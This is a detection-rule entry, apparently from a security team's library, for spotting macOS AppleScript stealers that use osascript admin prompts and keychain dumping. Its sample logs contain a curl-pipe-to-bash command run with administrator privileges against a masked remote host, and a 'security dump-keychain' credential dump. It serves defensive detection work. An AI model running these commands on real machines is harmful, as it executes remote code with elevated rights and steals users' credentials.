Detection Library
highexperimentalmacOSEndpointT1555.001T1548.004

osascript Privilege Escalation and Keychain Access

Detects osascript/JXA invoking 'do shell script ... with administrator privileges' (graphical sudo prompt abuse) or directly invoking the security CLI to dump keychain contents -- both common in AppleScript-based stealers.

Updated Oct 29, 2026 · Detection Engineering Team

macososascriptkeychaincredential-access

Problem Statement

AppleScript/JXA give attackers a scripting runtime with legitimate access to System Events, admin-privilege prompts, and the security CLI -- 2026 campaigns (including Atomic-Stealer-style droppers) use exactly this combination to harvest browser and system credentials without dropping a compiled binary that EDR static analysis would flag.

Sample Logs

{"event":"process.exec","timestamp":"2026-10-29T13:40:11Z","host":"MACBOOK-B2","user":"asmith","image":"/usr/bin/osascript","command_line":"osascript -e 'do shell script \"curl -s http://185.x.x.x/p2 | bash\" with administrator privileges'","parent_image":"/bin/bash"}
{"event":"process.exec","timestamp":"2026-10-29T13:41:02Z","host":"MACBOOK-B2","user":"asmith","image":"/usr/bin/security","command_line":"security dump-keychain -d login.keychain-db","parent_image":"/usr/bin/osascript"}

Required Fields

process.image / Image
process.command_line / CommandLine
process.parent.image / ParentImage
user.name
host.name

False Positives

  • ·Legitimate admin automation scripts used by IT (baseline known script hashes)
  • ·Password manager CLI integrations reading their own entries

Tuning Guidance

Alert at high severity when osascript's admin-privilege shell-out is immediately followed (within 60s, same host/user) by a network connection or a security keychain command -- this chain is a strong indicator of an AppleScript-based credential stealer rather than legitimate IT tooling.